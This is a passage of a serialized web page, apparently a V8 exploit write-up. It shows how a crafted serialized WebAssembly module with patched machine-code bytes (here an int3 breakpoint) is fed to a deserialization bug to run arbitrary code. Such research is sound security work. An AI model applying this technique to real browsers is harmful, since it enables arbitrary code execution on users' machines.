code",{"type":23,"tag":32,"props":135192,"children":135193},{},[135194,135196,135202],{"type":29,"value":135195},"This will bring us nicely to the final ",{"type":23,"tag":154,"props":135197,"children":135199},{"className":135198},[],[135200],{"type":29,"value":135201},"yield a16",{"type":29,"value":135203},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":320,"props":135205,"children":135207},{"id":135206},"executing-shellcode",[135208],{"type":29,"value":135209},"Executing Shellcode",{"type":23,"tag":32,"props":135211,"children":135212},{},[135213],{"type":29,"value":135214},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":4743,"props":135216,"children":135218},{"code":135217,"language":37672,"meta":7,"className":37670,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[135219],{"type":23,"tag":154,"props":135220,"children":135221},{"__ignoreMap":7},[135222,135252,135479,135547,135554,135599,135645,135685,135692,135716,135753,135789],{"type":23,"tag":504,"props":135223,"children":135224},{"class":5016,"line":5017},[135225,135229,135234,135238,135242,135247],{"type":23,"tag":504,"props":135226,"children":135227},{"style":5030},[135228],{"type":29,"value":37103},{"type":23,"tag":504,"props":135230,"children":135231},{"style":5041},[135232],{"type":29,"value":135233}," wasm_code",{"type":23,"tag":504,"props":135235,"children":135236},{"style":5047},[135237],{"type":29,"value":5050},{"type":23,"tag":504,"props":135239,"children":135240},{"style":5030},[135241],{"type":29,"value":33988},{"type":23,"tag":504,"props":135243,"children":135244},{"style":5139},[135245],{"type":29,"value":135246}," Uint8Array",{"type":23,"tag":504,"props":135248,"children":135249},{"style":5058},[135250],{"type":29,"value":135251},"([\n",{"type":23,"tag":504,"props":135253,"children":135254},{"class":5016,"line":4868},[135255,135260,135264,135269,135273,135278,135282,135287,135291,135295,135299,135303,135307,135311,135315,135319,135323,135327,135331,135335,135339,135343,135347,135352,135356,135360,135364,135368,135372,135376,135380,135384,135388,135392,135396,135400,135404,135408,135412,135416,135420,135424,135428,135432,135436,135440,135444,135449,135453,135458,135462,135467,135471,135475],{"type":23,"tag":504,"props":135256,"children":135257},{"style":5083},[135258],{"type":29,"value":135259},"  0",{"type":23,"tag":504,"props":135261,"children":135262},{"style":5058},[135263],{"type":29,"value":4367},{"type":23,"tag":504,"props":135265,"children":135266},{"style":5083},[135267],{"type":29,"value":135268},"97",{"type":23,"tag":504,"props":135270,"children":135271},{"style":5058},[135272],{"type":29,"value":4367},{"type":23,"tag":504,"props":135274,"children":135275},{"style":5083},[135276],{"type":29,"value":135277},"115",{"type":23,"tag":504,"props":135279,"children":135280},{"style":5058},[135281],{"type":29,"value":4367},{"type":23,"tag":504,"props":135283,"children":135284},{"style":5083},[135285],{"type":29,"value":135286},"109",{"type":23,"tag":504,"props":135288,"children":135289},{"style":5058},[135290],{"type":29,"value":4367},{"type":23,"tag":504,"props":135292,"children":135293},{"style":5083},[135294],{"type":29,"value":826},{"type":23,"tag":504,"props":135296,"children":135297},{"style":5058},[135298],{"type":29,"value":4367},{"type":23,"tag":504,"props":135300,"children":135301},{"style":5083},[135302],{"type":29,"value":708},{"type":23,"tag":504,"props":135304,"children":135305},{"style":5058},[135306],{"type":29,"value":4367},{"type":23,"tag":504,"props":135308,"children":135309},{"style":5083},[135310],{"type":29,"value":708},{"type":23,"tag":504,"props":135312,"children":135313},{"style":5058},[135314],{"type":29,"value":4367},{"type":23,"tag":504,"props":135316,"children":135317},{"style":5083},[135318],{"type":29,"value":708},{"type":23,"tag":504,"props":135320,"children":135321},{"style":5058},[135322],{"type":29,"value":4367},{"type":23,"tag":504,"props":135324,"children":135325},{"style":5083},[135326],{"type":29,"value":826},{"type":23,"tag":504,"props":135328,"children":135329},{"style":5058},[135330],{"type":29,"value":4367},{"type":23,"tag":504,"props":135332,"children":135333},{"style":5083},[135334],{"type":29,"value":19577},{"type":23,"tag":504,"props":135336,"children":135337},{"style":5058},[135338],{"type":29,"value":4367},{"type":23,"tag":504,"props":135340,"children":135341},{"style":5083},[135342],{"type":29,"value":826},{"type":23,"tag":504,"props":135344,"children":135345},{"style":5058},[135346],{"type":29,"value":4367},{"type":23,"tag":504,"props":135348,"children":135349},{"style":5083},[135350],{"type":29,"value":135351},"96",{"type":23,"tag":504,"props":135353,"children":135354},{"style":5058},[135355],{"type":29,"value":4367},{"type":23,"tag":504,"props":135357,"children":135358},{"style":5083},[135359],{"type":29,"value":708},{"type":23,"tag":504,"props":135361,"children":135362},{"style":5058},[135363],{"type":29,"value":4367},{"type":23,"tag":504,"props":135365,"children":135366},{"style":5083},[135367],{"type":29,"value":708},{"type":23,"tag":504,"props":135369,"children":135370},{"style":5058},[135371],{"type":29,"value":4367},{"type":23,"tag":504,"props":135373,"children":135374},{"style":5083},[135375],{"type":29,"value":19344},{"type":23,"tag":504,"props":135377,"children":135378},{"style":5058},[135379],{"type":29,"value":4367},{"type":23,"tag":504,"props":135381,"children":135382},{"style":5083},[135383],{"type":29,"value":5164},{"type":23,"tag":504,"props":135385,"children":135386},{"style":5058},[135387],{"type":29,"value":4367},{"type":23,"tag":504,"props":135389,"children":135390},{"style":5083},[135391],{"type":29,"value":826},{"type":23,"tag":504,"props":135393,"children":135394},{"style":5058},[135395],{"type":29,"value":4367},{"type":23,"tag":504,"props":135397,"children":135398},{"style":5083},[135399],{"type":29,"value":708},{"type":23,"tag":504,"props":135401,"children":135402},{"style":5058},[135403],{"type":29,"value":4367},{"type":23,"tag":504,"props":135405,"children":135406},{"style":5083},[135407],{"type":29,"value":56732},{"type":23,"tag":504,"props":135409,"children":135410},{"style":5058},[135411],{"type":29,"value":4367},{"type":23,"tag":504,"props":135413,"children":135414},{"style":5083},[135415],{"type":29,"value":57947},{"type":23,"tag":504,"props":135417,"children":135418},{"style":5058},[135419],{"type":29,"value":4367},{"type":23,"tag":504,"props":135421,"children":135422},{"style":5083},[135423],{"type":29,"value":826},{"type":23,"tag":504,"props":135425,"children":135426},{"style":5058},[135427],{"type":29,"value":4367},{"type":23,"tag":504,"props":135429,"children":135430},{"style":5083},[135431],{"type":29,"value":20158},{"type":23,"tag":504,"props":135433,"children":135434},{"style":5058},[135435],{"type":29,"value":4367},{"type":23,"tag":504,"props":135437,"children":135438},{"style":5083},[135439],{"type":29,"value":135277},{"type":23,"tag":504,"props":135441,"children":135442},{"style":5058},[135443],{"type":29,"value":4367},{"type":23,"tag":504,"props":135445,"children":135446},{"style":5083},[135447],{"type":29,"value":135448},"104",{"type":23,"tag":504,"props":135450,"children":135451},{"style":5058},[135452],{"type":29,"value":4367},{"type":23,"tag":504,"props":135454,"children":135455},{"style":5083},[135456],{"type":29,"value":135457},"101",{"type":23,"tag":504,"props":135459,"children":135460},{"style":5058},[135461],{"type":29,"value":4367},{"type":23,"tag":504,"props":135463,"children":135464},{"style":5083},[135465],{"type":29,"value":135466},"108",{"type":23,"tag":504,"props":135468,"children":135469},{"style":5058},[135470],{"type":29,"value":4367},{"type":23,"tag":504,"props":135472,"children":135473},{"style":5083},[135474],{"type":29,"value":135466},{"type":23,"tag":504,"props":135476,"children":135477},{"style":5058},[135478],{"type":29,"value":5557},{"type":23,"tag":504,"props":135480,"children":135481},{"class":5016,"line":4876},[135482,135486,135490,135494,135498,135502,135506,135510,135514,135518,135522,135526,135530,135534,135538,135543],{"type":23,"tag":504,"props":135483,"children":135484},{"style":5083},[135485],{"type":29,"value":135259},{"type":23,"tag":504,"props":135487,"children":135488},{"style":5058},[135489],{"type":29,"value":4367},{"type":23,"tag":504,"props":135491,"children":135492},{"style":5083},[135493],{"type":29,"value":708},{"type":23,"tag":504,"props":135495,"children":135496},{"style":5058},[135497],{"type":29,"value":4367},{"type":23,"tag":504,"props":135499,"children":135500},{"style":5083},[135501],{"type":29,"value":91315},{"type":23,"tag":504,"props":135503,"children":135504},{"style":5058},[135505],{"type":29,"value":4367},{"type":23,"tag":504,"props":135507,"children":135508},{"style":5083},[135509],{"type":29,"value":19577},{"type":23,"tag":504,"props":135511,"children":135512},{"style":5058},[135513],{"type":29,"value":4367},{"type":23,"tag":504,"props":135515,"children":135516},{"style":5083},[135517],{"type":29,"value":826},{"type":23,"tag":504,"props":135519,"children":135520},{"style":5058},[135521],{"type":29,"value":4367},{"type":23,"tag":504,"props":135523,"children":135524},{"style":5083},[135525],{"type":29,"value":5164},{"type":23,"tag":504,"props":135527,"children":135528},{"style":5058},[135529],{"type":29,"value":4367},{"type":23,"tag":504,"props":135531,"children":135532},{"style":5083},[135533],{"type":29,"value":708},{"type":23,"tag":504,"props":135535,"children":135536},{"style":5058},[135537],{"type":29,"value":4367},{"type":23,"tag":504,"props":135539,"children":135540},{"style":5083},[135541],{"type":29,"value":135542},"11",{"type":23,"tag":504,"props":135544,"children":135545},{"style":5058},[135546],{"type":29,"value":5557},{"type":23,"tag":504,"props":135548,"children":135549},{"class":5016,"line":5099},[135550],{"type":23,"tag":504,"props":135551,"children":135552},{"style":5058},[135553],{"type":29,"value":5810},{"type":23,"tag":504,"props":135555,"children":135556},{"class":5016,"line":5203},[135557,135561,135565,135569,135573,135578,135582,135586,135590,135595],{"type":23,"tag":504,"props":135558,"children":135559},{"style":5030},[135560],{"type":29,"value":37103},{"type":23,"tag":504,"props":135562,"children":135563},{"style":5041},[135564],{"type":29,"value":73687},{"type":23,"tag":504,"props":135566,"children":135567},{"style":5047},[135568],{"type":29,"value":5050},{"type":23,"tag":504,"props":135570,"children":135571},{"style":5030},[135572],{"type":29,"value":33988},{"type":23,"tag":504,"props":135574,"children":135575},{"style":5041},[135576],{"type":29,"value":135577}," WebAssembly",{"type":23,"tag":504,"props":135579,"children":135580},{"style":5058},[135581],{"type":29,"value":357},{"type":23,"tag":504,"props":135583,"children":135584},{"style":5139},[135585],{"type":29,"value":87982},{"type":23,"tag":504,"props":135587,"children":135588},{"style":5058},[135589],{"type":29,"value":603},{"type":23,"tag":504,"props":135591,"children":135592},{"style":5041},[135593],{"type":29,"value":135594},"wasm_code",{"type":23,"tag":504,"props":135596,"children":135597},{"style":5058},[135598],{"type":29,"value":5888},{"type":23,"tag":504,"props":135600,"children":135601},{"class":5016,"line":5308},[135602,135606,135611,135615,135619,135623,135627,135632,135636,135641],{"type":23,"tag":504,"props":135603,"children":135604},{"style":5030},[135605],{"type":29,"value":37103},{"type":23,"tag":504,"props":135607,"children":135608},{"style":5041},[135609],{"type":29,"value":135610}," inst",{"type":23,"tag":504,"props":135612,"children":135613},{"style":5047},[135614],{"type":29,"value":5050},{"type":23,"tag":504,"props":135616,"children":135617},{"style":5030},[135618],{"type":29,"value":33988},{"type":23,"tag":504,"props":135620,"children":135621},{"style":5041},[135622],{"type":29,"value":135577},{"type":23,"tag":504,"props":135624,"children":135625},{"style":5058},[135626],{"type":29,"value":357},{"type":23,"tag":504,"props":135628,"children":135629},{"style":5139},[135630],{"type":29,"value":135631},"Instance",{"type":23,"tag":504,"props":135633,"children":135634},{"style":5058},[135635],{"type":29,"value":603},{"type":23,"tag":504,"props":135637,"children":135638},{"style":5041},[135639],{"type":29,"value":135640},"mod",{"type":23,"tag":504,"props":135642,"children":135643},{"style":5058},[135644],{"type":29,"value":5888},{"type":23,"tag":504,"props":135646,"children":135647},{"class":5016,"line":5336},[135648,135652,135656,135660,135664,135668,135672,135676,135681],{"type":23,"tag":504,"props":135649,"children":135650},{"style":5030},[135651],{"type":29,"value":37103},{"type":23,"tag":504,"props":135653,"children":135654},{"style":5041},[135655],{"type":29,"value":82073},{"type":23,"tag":504,"props":135657,"children":135658},{"style":5047},[135659],{"type":29,"value":5050},{"type":23,"tag":504,"props":135661,"children":135662},{"style":5041},[135663],{"type":29,"value":135610},{"type":23,"tag":504,"props":135665,"children":135666},{"style":5058},[135667],{"type":29,"value":357},{"type":23,"tag":504,"props":135669,"children":135670},{"style":5041},[135671],{"type":29,"value":39942},{"type":23,"tag":504,"props":135673,"children":135674},{"style":5058},[135675],{"type":29,"value":357},{"type":23,"tag":504,"props":135677,"children":135678},{"style":5041},[135679],{"type":29,"value":135680},"shell",{"type":23,"tag":504,"props":135682,"children":135683},{"style":5058},[135684],{"type":29,"value":5061},{"type":23,"tag":504,"props":135686,"children":135687},{"class":5016,"line":5349},[135688],{"type":23,"tag":504,"props":135689,"children":135690},{"emptyLinePlaceholder":15},[135691],{"type":29,"value":5734},{"type":23,"tag":504,"props":135693,"children":135694},{"class":5016,"line":5367},[135695,135699,135704,135708,135712],{"type":23,"tag":504,"props":135696,"children":135697},{"style":5047},[135698],{"type":29,"value":58450},{"type":23,"tag":504,"props":135700,"children":135701},{"style":5139},[135702],{"type":29,"value":135703},"WasmTierUpFunction",{"type":23,"tag":504,"props":135705,"children":135706},{"style":5058},[135707],{"type":29,"value":603},{"type":23,"tag":504,"props":135709,"children":135710},{"style":5041},[135711],{"type":29,"value":78365},{"type":23,"tag":504,"props":135713,"children":135714},{"style":5058},[135715],{"type":29,"value":5888},{"type":23,"tag":504,"props":135717,"children":135718},{"class":5016,"line":5388},[135719,135723,135728,135732,135737,135741,135745,135749],{"type":23,"tag":504,"props":135720,"children":135721},{"style":5030},[135722],{"type":29,"value":37103},{"type":23,"tag":504,"props":135724,"children":135725},{"style":5041},[135726],{"type":29,"value":135727}," serialized",{"type":23,"tag":504,"props":135729,"children":135730},{"style":5047},[135731],{"type":29,"value":5050},{"type":23,"tag":504,"props":135733,"children":135734},{"style":5047},[135735],{"type":29,"value":135736}," %",{"type":23,"tag":504,"props":135738,"children":135739},{"style":5139},[135740],{"type":29,"value":134735},{"type":23,"tag":504,"props":135742,"children":135743},{"style":5058},[135744],{"type":29,"value":603},{"type":23,"tag":504,"props":135746,"children":135747},{"style":5041},[135748],{"type":29,"value":135640},{"type":23,"tag":504,"props":135750,"children":135751},{"style":5058},[135752],{"type":29,"value":5888},{"type":23,"tag":504,"props":135754,"children":135755},{"class":5016,"line":5397},[135756,135760,135764,135768,135772,135776,135780,135785],{"type":23,"tag":504,"props":135757,"children":135758},{"style":5030},[135759],{"type":29,"value":13833},{"type":23,"tag":504,"props":135761,"children":135762},{"style":5041},[135763],{"type":29,"value":11207},{"type":23,"tag":504,"props":135765,"children":135766},{"style":5047},[135767],{"type":29,"value":5050},{"type":23,"tag":504,"props":135769,"children":135770},{"style":5030},[135771],{"type":29,"value":33988},{"type":23,"tag":504,"props":135773,"children":135774},{"style":5139},[135775],{"type":29,"value":135246},{"type":23,"tag":504,"props":135777,"children":135778},{"style":5058},[135779],{"type":29,"value":603},{"type":23,"tag":504,"props":135781,"children":135782},{"style":5041},[135783],{"type":29,"value":135784},"serialized",{"type":23,"tag":504,"props":135786,"children":135787},{"style":5058},[135788],{"type":29,"value":5888},{"type":23,"tag":504,"props":135790,"children":135791},{"class":5016,"line":5649},[135792,135797,135801,135805,135809,135814,135818,135822,135826,135831,135835,135840,135844,135848,135853],{"type":23,"tag":504,"props":135793,"children":135794},{"style":5041},[135795],{"type":29,"value":135796},"console",{"type":23,"tag":504,"props":135798,"children":135799},{"style":5058},[135800],{"type":29,"value":357},{"type":23,"tag":504,"props":135802,"children":135803},{"style":5139},[135804],{"type":29,"value":103732},{"type":23,"tag":504,"props":135806,"children":135807},{"style":5058},[135808],{"type":29,"value":603},{"type":23,"tag":504,"props":135810,"children":135811},{"style":6297},[135812],{"type":29,"value":135813},"'['",{"type":23,"tag":504,"props":135815,"children":135816},{"style":5047},[135817],{"type":29,"value":10950},{"type":23,"tag":504,"props":135819,"children":135820},{"style":5041},[135821],{"type":29,"value":11207},{"type":23,"tag":504,"props":135823,"children":135824},{"style":5058},[135825],{"type":29,"value":357},{"type":23,"tag":504,"props":135827,"children":135828},{"style":5139},[135829],{"type":29,"value":135830},"join",{"type":23,"tag":504,"props":135832,"children":135833},{"style":5058},[135834],{"type":29,"value":603},{"type":23,"tag":504,"props":135836,"children":135837},{"style":6297},[135838],{"type":29,"value":135839},"', '",{"type":23,"tag":504,"props":135841,"children":135842},{"style":5058},[135843],{"type":29,"value":5128},{"type":23,"tag":504,"props":135845,"children":135846},{"style":5047},[135847],{"type":29,"value":6422},{"type":23,"tag":504,"props":135849,"children":135850},{"style":6297},[135851],{"type":29,"value":135852}," ']'",{"type":23,"tag":504,"props":135854,"children":135855},{"style":5058},[135856],{"type":29,"value":5888},{"type":23,"tag":32,"props":135858,"children":135859},{},[135860],{"type":29,"value":135861},"This produces the following output:",{"type":23,"tag":4743,"props":135863,"children":135865},{"code":135864},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[135866],{"type":23,"tag":154,"props":135867,"children":135868},{"__ignoreMap":7},[135869],{"type":29,"value":135864},{"type":23,"tag":32,"props":135871,"children":135872},{},[135873,135875,135881,135883,135889,135891,135897,135898,135904,135906,135911],{"type":29,"value":135874},"The bytes ",{"type":23,"tag":154,"props":135876,"children":135878},{"className":135877},[],[135879],{"type":29,"value":135880},"85, 72, 137, 229, ...",{"type":29,"value":135882}," correspond to the x86-64 function prologue (",{"type":23,"tag":154,"props":135884,"children":135886},{"className":135885},[],[135887],{"type":29,"value":135888},"push rbp; mov rbp, rsp",{"type":29,"value":135890},"). We replace the first byte with ",{"type":23,"tag":154,"props":135892,"children":135894},{"className":135893},[],[135895],{"type":29,"value":135896},"0xcc",{"type":29,"value":18507},{"type":23,"tag":154,"props":135899,"children":135901},{"className":135900},[],[135902],{"type":29,"value":135903},"int3",{"type":29,"value":135905}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":154,"props":135907,"children":135909},{"className":135908},[],[135910],{"type":29,"value":134709},{"type":29,"value":6533},{"type":23,"tag":4743,"props":135913,"children":135915},{"code":135914,"language":37672,"meta":7,"className":37670,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[135916],{"type":23,"tag":154,"props":135917,"children":135918},{"__ignoreMap":7},[135919,135942,135969,136189,136256,136264,136291,136505,136757,137008,137234,137478,137698,137705,137754,137799,137843,137882,137894],{"type":23,"tag":504,"props":135920,"children":135921},{"class":5016,"line":5017},[135922,135926,135930,135934,135938],{"type":23,"tag":504,"props":135923,"children":135924},{"style":5058},[135925],{"type":29,"value":603},{"type":23,"tag":504,"props":135927,"children":135928},{"style":5030},[135929],{"type":29,"value":38202},{"type":23,"tag":504,"props":135931,"children":135932},{"style":5058},[135933],{"type":29,"value":41753},{"type":23,"tag":504,"props":135935,"children":135936},{"style":5030},[135937],{"type":29,"value":16868},{"type":23,"tag":504,"props":135939,"children":135940},{"style":5058},[135941],{"type":29,"value":5333},{"type":23,"tag":504,"props":135943,"children":135944},{"class":5016,"line":4868},[135945,135949,135953,135957,135961,135965],{"type":23,"tag":504,"props":135946,"children":135947},{"style":5030},[135948],{"type":29,"value":38245},{"type":23,"tag":504,"props":135950,"children":135951},{"style":5041},[135952],{"type":29,"value":135233},{"type":23,"tag":504,"props":135954,"children":135955},{"style":5047},[135956],{"type":29,"value":5050},{"type":23,"tag":504,"props":135958,"children":135959},{"style":5030},[135960],{"type":29,"value":33988},{"type":23,"tag":504,"props":135962,"children":135963},{"style":5139},[135964],{"type":29,"value":135246},{"type":23,"tag":504,"props":135966,"children":135967},{"style":5058},[135968],{"type":29,"value":135251},{"type":23,"tag":504,"props":135970,"children":135971},{"class":5016,"line":4876},[135972,135977,135981,135985,135989,135993,135997,136001,136005,136009,136013,136017,136021,136025,136029,136033,136037,136041,136045,136049,136053,136057,136061,136065,136069,136073,136077,136081,136085,136089,136093,136097,136101,136105,136109,136113,136117,136121,136125,136129,136133,136137,136141,136145,136149,136153,136157,136161,136165,136169,136173,136177,136181,136185],{"type":23,"tag":504,"props":135973,"children":135974},{"style":5083},[135975],{"type":29,"value":135976},"    0",{"type":23,"tag":504,"props":135978,"children":135979},{"style":5058},[135980],{"type":29,"value":4367},{"type":23,"tag":504,"props":135982,"children":135983},{"style":5083},[135984],{"type":29,"value":135268},{"type":23,"tag":504,"props":135986,"children":135987},{"style":5058},[135988],{"type":29,"value":4367},{"type":23,"tag":504,"props":135990,"children":135991},{"style":5083},[135992],{"type":29,"value":135277},{"type":23,"tag":504,"props":135994,"children":135995},{"style":5058},[135996],{"type":29,"value":4367},{"type":23,"tag":504,"props":135998,"children":135999},{"style":5083},[136000],{"type":29,"value":135286},{"type":23,"tag":504,"props":136002,"children":136003},{"style":5058},[136004],{"type":29,"value":4367},{"type":23,"tag":504,"props":136006,"children":136007},{"style":5083},[136008],{"type":29,"value":826},{"type":23,"tag":504,"props":136010,"children":136011},{"style":5058},[136012],{"type":29,"value":4367},{"type":23,"tag":504,"props":136014,"children":136015},{"style":5083},[136016],{"type":29,"value":708},{"type":23,"tag":504,"props":136018,"children":136019},{"style":5058},[136020],{"type":29,"value":4367},{"type":23,"tag":504,"props":136022,"children":136023},{"style":5083},[136024],{"type":29,"value":708},{"type":23,"tag":504,"props":136026,"children":136027},{"style":5058},[136028],{"type":29,"value":4367},{"type":23,"tag":504,"props":136030,"children":136031},{"style":5083},[136032],{"type":29,"value":708},{"type":23,"tag":504,"props":136034,"children":136035},{"style":5058},[136036],{"type":29,"value":4367},{"type":23,"tag":504,"props":136038,"children":136039},{"style":5083},[136040],{"type":29,"value":826},{"type":23,"tag":504,"props":136042,"children":136043},{"style":5058},[136044],{"type":29,"value":4367},{"type":23,"tag":504,"props":136046,"children":136047},{"style":5083},[136048],{"type":29,"value":19577},{"type":23,"tag":504,"props":136050,"children":136051},{"style":5058},[136052],{"type":29,"value":4367},{"type":23,"tag":504,"props":136054,"children":136055},{"style":5083},[136056],{"type":29,"value":826},{"type":23,"tag":504,"props":136058,"children":136059},{"style":5058},[136060],{"type":29,"value":4367},{"type":23,"tag":504,"props":136062,"children":136063},{"style":5083},[136064],{"type":29,"value":135351},{"type":23,"tag":504,"props":136066,"children":136067},{"style":5058},[136068],{"type":29,"value":4367},{"type":23,"tag":504,"props":136070,"children":136071},{"style":5083},[136072],{"type":29,"value":708},{"type":23,"tag":504,"props":136074,"children":136075},{"style":5058},[136076],{"type":29,"value":4367},{"type":23,"tag":504,"props":136078,"children":136079},{"style":5083},[136080],{"type":29,"value":708},{"type":23,"tag":504,"props":136082,"children":136083},{"style":5058},[136084],{"type":29,"value":4367},{"type":23,"tag":504,"props":136086,"children":136087},{"style":5083},[136088],{"type":29,"value":19344},{"type":23,"tag":504,"props":136090,"children":136091},{"style":5058},[136092],{"type":29,"value":4367},{"type":23,"tag":504,"props":136094,"children":136095},{"style":5083},[136096],{"type":29,"value":5164},{"type":23,"tag":504,"props":136098,"children":136099},{"style":5058},[136100],{"type":29,"value":4367},{"type":23,"tag":504,"props":136102,"children":136103},{"style":5083},[136104],{"type":29,"value":826},{"type":23,"tag":504,"props":136106,"children":136107},{"style":5058},[136108],{"type":29,"value":4367},{"type":23,"tag":504,"props":136110,"children":136111},{"style":5083},[136112],{"type":29,"value":708},{"type":23,"tag":504,"props":136114,"children":136115},{"style":5058},[136116],{"type":29,"value":4367},{"type":23,"tag":504,"props":136118,"children":136119},{"style":5083},[136120],{"type":29,"value":56732},{"type":23,"tag":504,"props":136122,"children":136123},{"style":5058},[136124],{"type":29,"value":4367},{"type":23,"tag":504,"props":136126,"children":136127},{"style":5083},[136128],{"type":29,"value":57947},{"type":23,"tag":504,"props":136130,"children":136131},{"style":5058},[136132],{"type":29,"value":4367},{"type":23,"tag":504,"props":136134,"children":136135},{"style":5083},[136136],{"type":29,"value":826},{"type":23,"tag":504,"props":136138,"children":136139},{"style":5058},[136140],{"type":29,"value":4367},{"type":23,"tag":504,"props":136142,"children":136143},{"style":5083},[136144],{"type":29,"value":20158},{"type":23,"tag":504,"props":136146,"children":136147},{"style":5058},[136148],{"type":29,"value":4367},{"type":23,"tag":504,"props":136150,"children":136151},{"style":5083},[136152],{"type":29,"value":135277},{"type":23,"tag":504,"props":136154,"children":136155},{"style":5058},[136156],{"type":29,"value":4367},{"type":23,"tag":504,"props":136158,"children":136159},{"style":5083},[136160],{"type":29,"value":135448},{"type":23,"tag":504,"props":136162,"children":136163},{"style":5058},[136164],{"type":29,"value":4367},{"type":23,"tag":504,"props":136166,"children":136167},{"style":5083},[136168],{"type":29,"value":135457},{"type":23,"tag":504,"props":136170,"children":136171},{"style":5058},[136172],{"type":29,"value":4367},{"type":23,"tag":504,"props":136174,"children":136175},{"style":5083},[136176],{"type":29,"value":135466},{"type":23,"tag":504,"props":136178,"children":136179},{"style":5058},[136180],{"type":29,"value":4367},{"type":23,"tag":504,"props":136182,"children":136183},{"style":5083},[136184],{"type":29,"value":135466},{"type":23,"tag":504,"props":136186,"children":136187},{"style":5058},[136188],{"type":29,"value":5557},{"type":23,"tag":504,"props":136190,"children":136191},{"class":5016,"line":5099},[136192,136196,136200,136204,136208,136212,136216,136220,136224,136228,136232,136236,136240,136244,136248,136252],{"type":23,"tag":504,"props":136193,"children":136194},{"style":5083},[136195],{"type":29,"value":135976},{"type":23,"tag":504,"props":136197,"children":136198},{"style":5058},[136199],{"type":29,"value":4367},{"type":23,"tag":504,"props":136201,"children":136202},{"style":5083},[136203],{"type":29,"value":708},{"type":23,"tag":504,"props":136205,"children":136206},{"style":5058},[136207],{"type":29,"value":4367},{"type":23,"tag":504,"props":136209,"children":136210},{"style":5083},[136211],{"type":29,"value":91315},{"type":23,"tag":504,"props":136213,"children":136214},{"style":5058},[136215],{"type":29,"value":4367},{"type":23,"tag":504,"props":136217,"children":136218},{"style":5083},[136219],{"type":29,"value":19577},{"type":23,"tag":504,"props":136221,"children":136222},{"style":5058},[136223],{"type":29,"value":4367},{"type":23,"tag":504,"props":136225,"children":136226},{"style":5083},[136227],{"type":29,"value":826},{"type":23,"tag":504,"props":136229,"children":136230},{"style":5058},[136231],{"type":29,"value":4367},{"type":23,"tag":504,"props":136233,"children":136234},{"style":5083},[136235],{"type":29,"value":5164},{"type":23,"tag":504,"props":136237,"children":136238},{"style":5058},[136239],{"type":29,"value":4367},{"type":23,"tag":504,"props":136241,"children":136242},{"style":5083},[136243],{"type":29,"value":708},{"type":23,"tag":504,"props":136245,"children":136246},{"style":5058},[136247],{"type":29,"value":4367},{"type":23,"tag":504,"props":136249,"children":136250},{"style":5083},[136251],{"type":29,"value":135542},{"type":23,"tag":504,"props":136253,"children":136254},{"style":5058},[136255],{"type":29,"value":5557},{"type":23,"tag":504,"props":136257,"children":136258},{"class":5016,"line":5203},[136259],{"type":23,"tag":504,"props":136260,"children":136261},{"style":5058},[136262],{"type":29,"value":136263},"  